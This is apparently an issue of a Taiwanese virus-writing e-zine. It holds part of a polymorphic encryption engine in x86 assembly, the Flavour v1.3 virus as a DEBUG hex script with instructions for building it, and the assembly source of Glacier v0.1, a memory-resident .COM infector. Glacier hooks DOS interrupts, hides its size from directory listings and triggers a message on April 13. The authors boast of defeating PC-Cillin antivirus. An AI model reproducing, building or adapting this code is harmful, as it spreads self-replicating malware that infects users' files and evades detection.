CMP AL,04h
JE WILL_ENC_ADD
CMP AL,05h
JE WILL_ENC_SUB
CMP AL,06h
JE WILL_ENC_ROR
CMP AL,07h
JE WILL_ENC_ROL
CMP AL,08h
JE WILL_ENC_XOR
JMP SHORT WILL_ENC
WILL_ENC_NOT:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],00h
MOV AL,0F6h
STOSB
CALL WILL_ENC_RE
ADD AL,16h
STOSB
CALL DKME_TRASH
MOV AL,0FEh
STOSB
CALL WILL_ENC_RE
ADD AL,06h
STOSB
JMP WILL_INC
WILL_ENC_NEG:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],01h
MOV AL,0F6h
STOSB
CALL WILL_ENC_RE
ADD AL,0Eh
STOSB
CALL DKME_TRASH
MOV AL,0FEh
STOSB
CALL WILL_ENC_RE
DEC AX
DEC AX
STOSB
JMP WILL_INC
WILL_ENC_INC:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],02h
MOV AL,0FEh
STOSB
CALL WILL_ENC_RE
DEC AX
DEC AX
STOSB
JMP WILL_INC
WILL_ENC_DEC:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],03h
MOV AL,0F6h
STOSB
CALL WILL_ENC_RE
ADD AL,16h
STOSB
CALL DKME_TRASH
MOV AL,0F6h
STOSB
CALL WILL_ENC_RE
ADD AL,0Eh
STOSB
JMP SHORT WILL_INC
WILL_ENC_ADD:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],04h
MOV AL,080h
STOSB
CALL WILL_ENC_RE
DEC AX
DEC AX
STOSB
CALL RND
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_VAL],AL
STOSB
JMP SHORT WILL_INC
WILL_ENC_SUB:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],05h
MOV AL,80h
STOSB
CALL WILL_ENC_RE
ADD AL,26h
STOSB
CALL RND
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_VAL],AL
STOSB
JMP SHORT WILL_INC
WILL_ENC_ROR:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],06h
MOV AL,0D0h
STOSB
CALL WILL_ENC_RE
ADD AL,06h
STOSB
JMP SHORT WILL_INC
WILL_ENC_ROL:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],07h
MOV AL,0D0h
STOSB
CALL WILL_ENC_RE
DEC AX
DEC AX
STOSB
JMP SHORT WILL_INC
WILL_ENC_XOR:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],08h
MOV AL,80h
STOSB
CALL WILL_ENC_RE
ADD AL,2Eh
STOSB
CALL RND
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_VAL],AL
STOSB
;===[INC BX|BP|SI|DI]==========================================================
WILL_INC:
CALL DKME_TRASH
CALL RND
AND AL,03h
OR AL,AL
JE WILL_INC_00
CMP AL,01h
JE WILL_INC_01
CMP AL,02h
JE WILL_INC_02
CMP AL,03h
JE WILL_INC_03
WILL_INC_00:
MOV AL,0F7h
STOSB
MOV AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
ADD AL,0D0h
STOSB
CALL DKME_TRASH
MOV AL,0F7h
STOSB
MOV AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
ADD AL,0D8h
STOSB
JMP SHORT WILL_CMP
WILL_INC_01:
MOV AL,81h
STOSB
MOV AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
ADD AL,0C0h
STOSB
MOV AX,0001h
STOSW
JMP SHORT WILL_CMP
WILL_INC_02:
MOV AL,83h
STOSB
MOV AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
ADD AL,0E8h
STOSB
MOV AL,0FFh
STOSB
JMP SHORT WILL_CMP
WILL_INC_03:
MOV AL,83h
STOSB
MOV AH,01h
MOV AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
ADD AL,0C0h
STOSW
;===[CMP BX|SI|DI,????]========================================================
WILL_CMP:
CALL DKME_TRASH
MOV AL,81h
STOSB
MOV AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
ADD AL,0F8h
STOSB
MOV [BP+OFFSET DKME_OFFSET_CMP],DI
MOV AX,BX
STOSW
;==============================================================================
CALL DKME_TRASH_NO
CALL DKME_TRASH_NO
;===[Jxx ????]=================================================================
WILL_JNZ:
CALL RND
AND AL,01h
CMP AL,01h
JE WILL_JNZ_01
WILL_JNZ_00:
MOV AL,72h
STOSB
JMP SHORT DKME_CON3
WILL_JNZ_01:
MOV AL,75h
STOSB
DKME_CON3:
MOV AX,DI
INC AX
SUB WORD PTR [BP+OFFSET DKME_OFFSET_LOP],AX
MOV AX,WORD PTR [BP+OFFSET DKME_OFFSET_LOP]
STOSB
;==============================================================================
CALL DKME_TRASH
;===[Will Encryation]==========================================================
XCHG SI,AX
MOV SI,[BP+OFFSET DKME_OFFSET_STA]
ADD ES:[SI],DI
MOV SI,[BP+OFFSET DKME_OFFSET_CMP]
ADD ES:[SI],DI
ADD ES:[SI],CX
XCHG SI,AX
;===[Encryation]===============================================================
ENCRYATION:
PUSH CX
PUSH DI
PUSH SI
REP MOVSB
POP SI
POP DI
POP CX
ENCRYATION_LOOP_POINT:
LODSB
CMP BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],00h
JE ENCRYATION_00
CMP BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],01h
JE ENCRYATION_01
CMP BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],02h
JE ENCRYATION_02
CMP BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],03h
JE ENCRYATION_03
CMP BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],04h
JE ENCRYATION_04
CMP BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],05h
JE ENCRYATION_05
CMP BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],06h
JE ENCRYATION_06
CMP BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],07h
JE ENCRYATION_07
CMP BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],08h
JE ENCRYATION_08
ENCRYATION_00:
NOT AL
JMP SHORT DKME_CON5
ENCRYATION_01:
NEG AL
JMP SHORT DKME_CON5
ENCRYATION_02:
DEC AX
JMP SHORT DKME_CON5
ENCRYATION_03:
INC AX
JMP SHORT DKME_CON5
ENCRYATION_04:
SUB AL,BYTE PTR [BP+OFFSET DKME_OFFSET_VAL]
JMP SHORT DKME_CON5
ENCRYATION_05:
ADD AL,BYTE PTR [BP+OFFSET DKME_OFFSET_VAL]
JMP SHORT DKME_CON5
ENCRYATION_06:
ROL AL,01h
JMP SHORT DKME_CON5
ENCRYATION_07:
ROR AL,01h
JMP SHORT DKME_CON5
ENCRYATION_08:
XOR AL,BYTE PTR [BP+OFFSET DKME_OFFSET_VAL]
DKME_CON5:
STOSB
LOOP ENCRYATION_LOOP_POINT
;===[OK!]======================================================================
ALL_ARE_OK:
MOV CX,DI
XOR DX,DX
PUSH ES
POP DS
POP SI
POP DI
POP BP
POPF
RET
DKME ENDP
DKME_TRASH_NO PROC NEAR
DKME_TRASH_NO_LOOP:
CALL RND
AND AL,07h
OR AL,AL
JE DKME_TRASH_NO_00
CMP AL,01h
JE DKME_TRASH_NO_01
CMP AL,02h
JE DKME_TRASH_NO_02
CMP AL,03h
JE DKME_TRASH_NO_03
CMP AL,04h
JE DKME_TRASH_NO_04
CMP AL,05h
JE DKME_TRASH_NO_05
JMP SHORT DKME_TRASH_NO_LOOP
DKME_TRASH_NO_00: ; MOV ??,????
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_NO_00
CMP AL,04h
JE DKME_TRASH_NO_00
ADD AL,0B8h
STOSB
CALL DKME_TRASH_F_RE
RET
DKME_TRASH_NO_01: ; NOT ??
MOV AL,0F7h
STOSB
DKME_TRASH_NO_01_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_NO_01_LOOP
CMP AL,04h
JE DKME_TRASH_NO_01_LOOP
ADD AL,0D0h
STOSB
RET
DKME_TRASH_NO_02: ; CWD , CBW
CALL RND
AND AL,01h
ADD AL,98h
STOSB
RET
DKME_TRASH_NO_03: ; Jxx $+2
CALL RND
AND AL,07h
ADD AL,70h
XOR AH,AH
STOSW
RET
DKME_TRASH_NO_04:
MOV AL,8Bh
STOSB
DKME_TRASH_NO_04_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_NO_04_LOOP
CMP AL,04h
JE DKME_TRASH_NO_04_LOOP
SHL AL,01h
SHL AL,01h
SHL AL,01h
ADD AL,06h
STOSB
CALL DKME_TRASH_F_RE
RET
DKME_TRASH_NO_05:
CALL RND
AND AL,07h
ADD AL,50h
STOSB
ADD AL,08h
STOSB
RET
DKME_TRASH_NO ENDP
DKME_TRASH_FLAG PROC NEAR
CALL RND
CMP AL,80h
JAE DKME_CON4
CALL DKME_TRASH_NO
RET
DKME_CON4:
CALL RND
AND AL,1Fh
OR AL,AL
JE DKME_TRASH_FLAG_00
CMP AL,01h
JE DKME_TRASH_FLAG_01
CMP AL,02h
JE DKME_TRASH_FLAG_02
CMP AL,03h
JE DKME_TRASH_FLAG_03
CMP AL,04h
JE DKME_TRASH_FLAG_04
CMP AL,05h
JE DKME_TRASH_FLAG_05
CMP AL,06h
JE DKME_TRASH_FLAG_06
CMP AL,07h
JE DKME_TRASH_FLAG_07
CMP AL,08h
JE DKME_TRASH_FLAG_08
CMP AL,09h
JE DKME_TRASH_FLAG_09
CMP AL,0Ah
JE DKME_TRASH_FLAG_0A
CMP AL,0Bh
JE DKME_TRASH_FLAG_0B
CMP AL,0Ch
JE DKME_TRASH_FLAG_0C
CMP AL,0Dh
JE DKME_TRASH_FLAG_0D
CMP AL,0Eh
JE DKME_TRASH_FLAG_0E
CMP AL,0Fh
JE DKME_TRASH_FLAG_0F
CMP AL,10h
JE DKME_TRASH_FLAG_10
CMP AL,11h
JE DKME_TRASH_FLAG_11
CMP AL,12h
JE DKME_TRASH_FLAG_12
CMP AL,13h
JE DKME_TRASH_FLAG_13
CMP AL,14h
JE DKME_TRASH_FLAG_14
CMP AL,15h
JE DKME_TRASH_FLAG_15
CMP AL,16h
JE DKME_TRASH_FLAG_16
CMP AL,17h
JE DKME_TRASH_FLAG_17
CMP AL,18h
JE DKME_TRASH_FLAG_18
CMP AL,19h
JE DKME_TRASH_FLAG_19
CMP AL,1Ah
JE DKME_TRASH_FLAG_1A
CMP AL,1Bh
JE DKME_TRASH_FLAG_1B
CMP AL,1Ch
JE DKME_TRASH_FLAG_1C
CMP AL,1Dh
JE DKME_TRASH_FLAG_1D
CMP AL,1Eh
JE DKME_TRASH_FLAG_1E
JMP DKME_TRASH_FLAG_1F
DKME_TRASH_FLAG_00: ; Flag
CALL RND
AND AL,07h
CMP AL,06h
JAE DKME_TRASH_FLAG_00
ADD AL,0F8h
STOSB
RET
DKME_TRASH_FLAG_01: ; NOP
MOV AX,90h
STOSB
RET
DKME_TRASH_FLAG_02: ; INT 03h
MOV AL,0CCh
STOSB
RET
DKME_TRASH_FLAG_03: ; SHR ??,1
MOV AL,0D1h
STOSB
DKME_TRASH_FLAG_03_LOOP:
CALL RND
AND AL,07h
CMP AL,04h
JE DKME_TRASH_FLAG_03_LOOP
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_03_LOOP
ADD AL,0E8h
STOSB
RET
DKME_TRASH_FLAG_04: ; IMUL ??
MOV AL,0F7h
STOSB
DKME_TRASH_FLAG_04_LOOP:
CALL RND
AND AL,07h
ADD AL,0E8h
STOSB
RET
DKME_TRASH_FLAG_05: ; SHR ??,CL
MOV AL,0D3h
STOSB
DKME_TRASH_FLAG_05_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_05_LOOP
ADD AL,0E8h
STOSB
RET
DKME_TRASH_FLAG_06:
MOV AL,81h
STOSB
DKME_TRASH_FLAG_06_LOOP: ; XOR ??,????
CALL RND
AND AL,07h
OR AL,AL
JE DKME_TRASH_FLAG_06_LOOP
CMP AL,04h
JE DKME_TRASH_FLAG_06_LOOP
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_06_LOOP
ADD AL,0F0h
STOSB
CALL DKME_TRASH_F_RE
RET
DKME_TRASH_FLAG_07: ; TEST ??,????
MOV AL,0F7h
STOSB
CALL RND
AND AL,07h
ADD AL,0C0h
STOSB
CALL DKME_TRASH_F_RE
RET
DKME_TRASH_FLAG_08: ; OR ??,????
MOV AL,81h
STOSB
DKME_TRASH_FLAG_08_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_08_LOOP
CMP AL,04h
JE DKME_TRASH_FLAG_08_LOOP
ADD AL,0C8h
STOSB
CALL DKME_TRASH_F_RE
RET
DKME_TRASH_FLAG_09: ; AND ??,????
MOV AL,81h
STOSB
DKME_TRASH_FLAG_09_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_09_LOOP
CMP AL,04h
JE DKME_TRASH_FLAG_09_LOOP
ADD AL,0E0h
STOSB
CALL DKME_TRASH_F_RE
RET
DKME_TRASH_FLAG_0A: ; NEG ??
MOV AL,0F7h
STOSB
DKME_TRASH_FLAG_0A_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_0A_LOOP
CMP AL,04h
JE DKME_TRASH_FLAG_0A_LOOP
ADD AL,0D8h
STOSB
RET
DKME_TRASH_FLAG_0B: ; MUL ??
MOV AL,0F7h
STOSB
DKME_TRASH_FLAG_0B_LOOP:
CALL RND
AND AL,07h
ADD AL,0E0h
STOSB
RET
DKME_TRASH_FLAG_0C: ; ADD ??,????
MOV AL,81h
STOSB
DKME_TRASH_FLAG_0C_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_0C_LOOP
CMP AL,04h
JE DKME_TRASH_FLAG_0C_LOOP
ADD AL,0C0h
STOSB
CALL DKME_TRASH_F_RE
RET
DKME_TRASH_FLAG_0D: ; ADC ??,????
MOV AL,81h
STOSB
DKME_TRASH_FLAG_0D_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_0D_LOOP
CMP AL,04h
JE DKME_TRASH_FLAG_0D_LOOP
ADD AL,0D0h
STOSB
CALL DKME_TRASH_F_RE
RET
DKME_TRASH_FLAG_0E: ; SBB ??,????
MOV AL,81h
STOSB
DKME_TRASH_FLAG_0E_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_0E_LOOP
CMP AL,04h
JE DKME_TRASH_FLAG_0E_LOOP
ADD AL,0D8h
STOSB
CALL DKME_TRASH_F_RE
RET
DKME_TRASH_FLAG_0F: ; DEC ??
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_0F
CMP AL,04h
JE DKME_TRASH_FLAG_0F
ADD AL,48h
STOSB
RET
DKME_TRASH_FLAG_10: ; INC ?? & DEC ??
CALL RND
AND AL,07h
ADD AL,40h
STOSB
ADD AL,08h
STOSB
RET
DKME_TRASH_FLAG_11: ; NOT ?? & NOT ??
MOV AL,0F7h
STOSB
DKME_TRASH_FLAG_11_LOOP:
CALL RND
AND AL,07h
ADD AL,0D8h
STOSB
MOV AH,0F7h
XCHG AH,AL
STOSW
RET
DKME_TRASH_FLAG_12: ; NEG ?? & NEG ??
MOV AL,0F7h
STOSB
CALL RND
AND AL,07h
ADD AL,0D8h
STOSB
MOV AH,0F7h
XCHG AH,AL
STOSW
RET
DKME_TRASH_FLAG_13: ; PUSH ?? & POP ??
CALL RND
AND AL,07h
ADD AL,50h
STOSB
DKME_TRASH_FLAG_13_LOOP:
CALL RND
AND AL,07h
CMP AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
JE DKME_TRASH_FLAG_13_LOOP
CMP AL,04h
JE DKME_TRASH_FLAG_13_LOOP
ADD AL,58h
STOSB
RET
DKME_TRASH_FLAG_14:
DKME_TRASH_FLAG_15:
DKME_TRASH_FLAG_16:
DKME_TRASH_FLAG_17:
DKME_TRASH_FLAG_18:
DKME_TRASH_FLAG_19:
DKME_TRASH_FLAG_1A:
DKME_TRASH_FLAG_1B:
DKME_TRASH_FLAG_1C:
DKME_TRASH_FLAG_1D:
DKME_TRASH_FLAG_1E:
DKME_TRASH_FLAG_1F:
RET
DKME_TRASH_FLAG ENDP
DKME_TRASH_F_RE PROC NEAR
CALL RND
STOSW
RET
DKME_TRASH_F_RE ENDP
RND PROC NEAR
PUSH CX
PUSH DX
XOR AX,AX
INT 1Ah
IN AL,40h
MOV AH,AL
IN AL,40h
ROR AX,CL
XOR AX,DX
PUSHF
POP CX
ADD AX,CX
POP DX
POP CX
RET
RND ENDP
WILL_ENC_RE PROC NEAR
MOV AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
CMP AL,03h
JNE DKME_CON6
MOV AL,09h
DKME_CON6:
RET
WILL_ENC_RE ENDP
DKME_TRASH PROC NEAR
PUSH CX
MOV CX,0004h
DKME_TRASH_LOOP_POINT1:
CALL DKME_TRASH_FLAG
LOOP DKME_TRASH_LOOP_POINT1
POP CX
RET
DKME_TRASH ENDP
DKME_END PROC NEAR
DKME_END ENDP
DKMTE ENDS
END
-------------------------------------------------------------------------------
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   Flavour v1.3 病毒   Vo
pT OT
VP by Dark Killer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================
对于 PC-Cillin 5.0 :
烂烂烂烂烂... 用 Int 2Fh 来防 Int 2Ah 被改...
真不是普通的烂... 本来想「奸杀」Zlock... 没想到
PC-Cillin 5.0 就挂了... :-)
至于 Zlock,暂时不管他... 反正要突破也很简单...
差一个步骤就挂了,等 1.4 版再来解决他...
下面是 Flavour V1.3 的程式,用 DEBUG 转换一下就
好了... 把虚线以下的东东存到 TEMP.SCR,然后下指
令:DEBUG < TEMP.SCR
嘿嘿嘿! 小心使用... :-)
Dark Killer
------------------------------------------------------------------------
N FLAVOUR4.COM
E 0100 E8 00 00 5E 81 EE 03 00 B4 2A CD 21 81 FA 09 09
E 0110 75 0B B4 09 8D 94 3B 01 CD 21 FA EB FD B8 00 8F
E 0120 CD 21 3D 8F 00 75 0F 81 C6 26 01 BF 00 01 16 57
E 0130 FC A5 A5 16 1F CB 33 FF B4 52 CD 21 26 8B 5F FE
E 0140 8E C3 26 03 5D 03 43 26 80 3D 5A 75 F3 8C C0 8E
E 0150 C3 26 80 3D 4D 74 04 8E C0 EB 0D 8E C3 26 03 5D
E 0160 03 43 26 80 3D 4D 74 F3 26 81 6D 03 39 00 26 8B
E 0170 45 03 8C C1 03 C1 40 8E C0 50 68 84 00 FC B9 8F
E 0180 03 F3 A4 CB FA 8E D9 B8 C9 01 87 06 84 00 2E A3
E 0190 2E 01 2E A3 36 01 8C C8 87 06 86 00 2E A3 30 01
E 01A0 2E A3 38 01 E8 09 00 16 07 0E 1F 33 F6 E9 77 FF
E 01B0 9C 60 06 2E C6 06 3A 01 00 B4 52 CD 21 FC B0 90
E 01C0 B9 80 FF 33 FF F2 AE E3 59 AE 75 F9 26 81 3D E8
E 01D0 CC 75 F2 26 81 7D 02 00 2E 75 EA 26 81 7D 04 FF
E 01E0 2E 75 E2 26 8B 7D 06 26 C4 3D 2E 89 3E 36 01 2E
E 01F0 8C 06 38 01 B0 8C B9 80 FF 2B CF F2 AE E3 23 26
E 0200 81 3D D8 2E 75 F5 26 81 7D 02 8E 1E 75 ED 26 81
E 0210 7D 04 E7 3D 75 E5 47 2E 89 3E 36 01 2E C6 06 3A
E 0220 01 01 07 61 9D C3 CD 20 00 00 F0 E9 00 00 00 00
E 0230 00 00 00 00 00 00 00 00 00 00 00 48 65 6C 6C 6F
E 0240 20 21 21 0D 0A 20 20 49 20 61 6D 20 5B 46 6C 61
E 0250 76 6F 75 72 20 56 31 2E 33 E1 5D 20 42 79 20 44
E 0260 61 72 6B 20 4B 69 6C 6C 65 72 20 2E 2E 2E 0D 0A
E 0270 20 20 20 20 61 74 20 54 61 69 77 61 6E 20 50 6F
E 0280 77 65 72 20 56 69 72 75 73 20 4F 72 67 61 6E 69
E 0290 7A 61 74 69 6F 6E 20 21 21 0D 0A 0D 0A 20 20 20
E 02A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 02B0 20 20 20 20 20 20 20 20 20 20 20 20 31 39 39 35
E 02C0 2F 30 37 2F 30 36 0D 0A 24 E8 B4 01 9C 3D 00 8F
E 02D0 74 1A 80 FC 3D 74 19 80 FC 43 74 14 80 FC 4B 74
E 02E0 41 80 FC 56 74 0A 9D 2E FF 2E 2E 01 86 E0 9D CF
E 02F0 60 8B F2 FC AC 0A C0 74 22 3C 2E 75 F7 AC 3C 43
E 0300 74 04 3C 63 75 15 AC 3C 4F 74 04 3C 6F 75 0C AC
E 0310 3C 4D 74 04 3C 6D 75 03 61 EB 07 61 9D 2E FF 2E
E 0320 2E 01 60 1E 06 FA 6A 00 07 26 FF 36 50 02 26 FF
E 0330 36 52 02 26 C7 06 50 02 4E 03 26 8C 0E 52 02 26
E 0340 FF 36 A8 00 2E 8F 06 32 01 26 FF 36 AA 00 2E 8F
E 0350 06 34 01 26 C7 06 A8 00 2F 03 26 8C 0E AA 00 26
E 0360 FF 36 90 00 26 FF 36 92 00 26 C7 06 90 00 4B 03
E 0370 26 8C 0E 92 00 B8 00 3D E8 D4 00 72 7D 93 53 B8
E 0380 20 12 CD 2F B8 16 12 32 FF 26 8A 1D CD 2F 5B 26
E 0390 C6 45 02 02 26 8A 45 04 26 C6 45 04 00 50 26 80
E 03A0 4D 06 40 0E 1F B4 3F B9 04 00 BA 26 01 E8 9F 00
E 03B0 2E 81 3E 26 01 F0 E9 74 37 2E 81 3E 26 01 4D 5A
E 03C0 74 2E B0 02 E8 B0 00 0B D2 75 25 0A C0 74 21 83
E 03D0 E8 04 2E A3 2C 01 B4 40 B9 8F 03 BA 00 00 E8 6E
E 03E0 00 32 C0 E8 91 00 B4 40 B1 04 BA 2A 01 E8 5F 00
E 03F0 58 26 88 45 04 B4 3E E8 55 00 6A 00 07 FA 26 8F
E 0400 06 92 00 26 8F 06 90 00 2E FF 36 34 01 26 8F 06
E 0410 AA 00 2E FF 36 32 01 26 8F 06 A8 00 26 8F 06 52
E 0420 02 26 8F 06 50 02 07 1F 61 9D 2E FF 2E 2E 01 9C
E 0430 80 FC 82 74 06 9D 2E FF 2E 2E 01 53 B3 60 E8 3F
E 0440 00 9C FA 2E FF 1E 32 01 5B 9D CF 32 C0 CF CF E8
E 0450 2E 00 9C FA 0E 68 76 03 2E 80 3E 3A 01 00 74 0B
E 0460 06 1E 55 57 56 52 51 53 50 8C D8 2E FF 36 38 01
E 0470 2E FF 36 36 01 CB C3 B4 42 33 C9 99 E8 D0 FF C3
E 0480 50 9C 58 80 E4 FE 50 8C D0 8E D0 F0 9D 58 C3
RCX
38F
W
G
Q
------------------------------------------------------------------------
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   Glacier v0.1 病毒   Vo
pT OT
VP by Ghost Shadow VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================
唉... 可怜的 Ghost Shadow (鬼影?) 也去从军报国了,所以我帮
他写此毒的说明。
此毒为感染 .COM 档的常驻型病毒,但是并不感染 command.com。
在每年的4月13日执行被感染过的档案,若是在中文系统下,则显
示如下之讯息:
'[ Glacier v0.1 ]'
'祝 薛淑文 生日快乐. '
' Written by Ghost Shadow of TPVO at L.C.T.C.'
哇... 薛淑文 是谁啊?嗯... 4月13日生日?改天要好好的烤问
Ghost Shadow 了... :)
若是没有进入倚天中文系统,则显示如下之讯息:
'[ Glacier v0.1 ]'
'Happy Birthday to Amy. '
' Written by Ghost Shadow of TPVO at L.C.T.C.'

Dark Slayer
========================= Begin of GLACIER.asm =========================
.286
.model tiny
.code
org 0
begin:
..386p
xor eax,eax
..286
call start
start:
pop si
sub si,offset start
push cs
pop ds
mov ax,8300h
int 21h
cmp ax,4583h
jnz vir_start
run_com:
mov ah,2ah
int 21h
cmp dx,040dh
jnz not2day
add si,offset msg1
push si
push si
pop di
mov cx,offset m3 - offset m1
decode:
lodsb
xor al,45h
stosb
loop decode
pop si
xor bx,bx
mov ax,9100h
int 10h
or bx,bx
jz etnoinst
test dh,80h
jnz etnoinst
add si,msg1size
mov cx,msg2size
jmp show
etnoinst:
mov cx,msg1size
show:
lodsb
int 29h
loop show
int 20h
not2day:
push si
mov si,103h
lodsw
cmp ax,'SG'
pop si
jnz noinvir
mov di,100h
push si
push si
add si,offset backdata
mov cx,5
rep movsb
pop di
pop bx
add bx,offset oldsize
mov si,[bx]
add si,100h
mov cx,virs_byte
; sub cx,3
mov ax,83ffh
int 21h
noinvir:
xor ax,ax
xor cx,cx
xor si,si
xor di,di
ret
vir_start:
mov ax,es
dec ax
mov ds,ax
cmp byte ptr ds:[0000],'Z'
jnz temp0
add word ptr ds:[0003h],-(virs_byte*2+0fh)/10h
add word ptr ds:[0012h],-(virs_byte*2+0fh)/10h
mov ax,word ptr ds:[0012h]
push cs
pop ds
mov es,ax
; mov si,100h
xor di,di
mov cx,offset virus_end
cld
rep movsb
push es
pop ds
mov ax,3521h
int 21h
mov word ptr ds:int21_ip,bx
mov word ptr ds:int21_cs,es
mov dx,offset vint21
mov ah,25h
int 21h
mov ax,352fh
int 21h
mov word ptr ds:int2f_ip,bx
mov word ptr ds:int2f_cs,es
mov dx,offset vint2f
mov ah,25h
int 21h
push ds
pop es
call geto21h
push cs
push cs
pop ds
pop es
; ret
sub si,di
temp0:
jmp run_com

vint2f:
pushf
cmp ax,1216h
jnz dos_int2f
popf
call i2f
jb v2f_err
push ax
mov ax,es:[di+0fh]
shr ah,01h
cmp ah,64h
jb v2f_noin
sub byte ptr es:[di+10h],11001000b
sub word ptr es:[di+11h],virs_byte
sbb word ptr es:[di+13h],0000h
v2f_noin:
pop ax
clc
v2f_err:
retf 0002h
dos_int2f:
popf
jmp dword ptr cs:int2f_ip
vint24:
xor al,al
iret
vchk:
xchg ah,al
mov ah,45h
popf
iret
vrefresh:
popf
pop ax
mov ax,100h
push ax
push si
vre1:
lodsb
stosb
loop vre1
; rep movsb
pop di
iret
vint21:
pushf
cmp ax,8300h
jz vchk
cmp ax,83ffh
jz vrefresh
cmp ax,4b00h
jz temp
; cmp ah,3dh
; jz vopen
; cmp ax,6c00h
; jz vopen
cmp ah,11h
jz dir_s
cmp ah,12h
jz dir_s
cmp ah,4eh
jz find_s
cmp ah,4fh
jz find_s
popf
jmp int21
temp:
jmp vrun
dir_s:
call i21
cmp ah,0ffh
jz nofind
push ax
push bx
push es
mov ah,2fh
call i21
cmp byte ptr es:[bx],0ffh
jnz notexp
add bx,0007h
notexp:
mov ax,es:[bx+19h]
shr ah,01h
cmp ah,64h
jb not_in
sub word ptr es:[bx+1dh],virs_byte
sbb word ptr es:[bx+1fh],0000h
not_in:
pop es
pop bx
pop ax
nofind:
popf
iret
find_s:
popf
call i21
jc f_exit
push ax
push bx
push es
mov ah,2fh
call i21
mov ax,es:[bx+18h]
shr ah,01h
cmp ah,64h
jb f_not_in
sub word ptr es:[bx+1ah],virs_byte
sbb word ptr es:[bx+1ch],0000h
f_not_in:
pop es
pop bx
pop ax
clc
f_exit:
retf 0002h
;vopen:
; push es
; push ds
; push dx
;
; push dx
; pop si
; push ax
;
;v0:
; lodsb
; cmp al,0
; jnz v0
; sub si,4
; lodsw
; cmp ax,'OC'
; jnz v1
; lodsb
; cmp al,'M'
; jnz v1
; jmp v2
;v1:
; pop ax
; jmp v_run
;
;v2:
; call set24h
; pop ax
; pop dx
; push ax
;
; cmp ah,3dh
; jnz v3
;
; push dx
; xor al,al
; call i21
; jc v4
; jmp v5
;
;v3:
; push si
; mov bx,0000000000000010b
; mov dx,0000000000000001b
; call i21
; jc v4
; jmp v5
;
;v4:
; pop ax
; pop bx
; cmp ah,3dh
; jnz v41
; xchg dx,bx
; jmp v42
;v41:
; xchg si,bx
;v42:
; jmp v_run1
;
;v5:
; xchg bx,ax
; push bx
; mov ah,2fh
; call i21
; mov ax,es:[bx+18h]
; shr ah,01h
; cmp ah,64h
; jnb v6
;
; pop bx
; pop cx
; pop ax
; cmp ah,3dh
; jnz v51
; xchg dx,cx
; jmp v52
;v51:
; xchg si,cx
;v52:
; push ax
; jmp v_not_in
;
;v6:
; call get_sft
;
; push cs
; pop ds
;
; mov ah,3fh
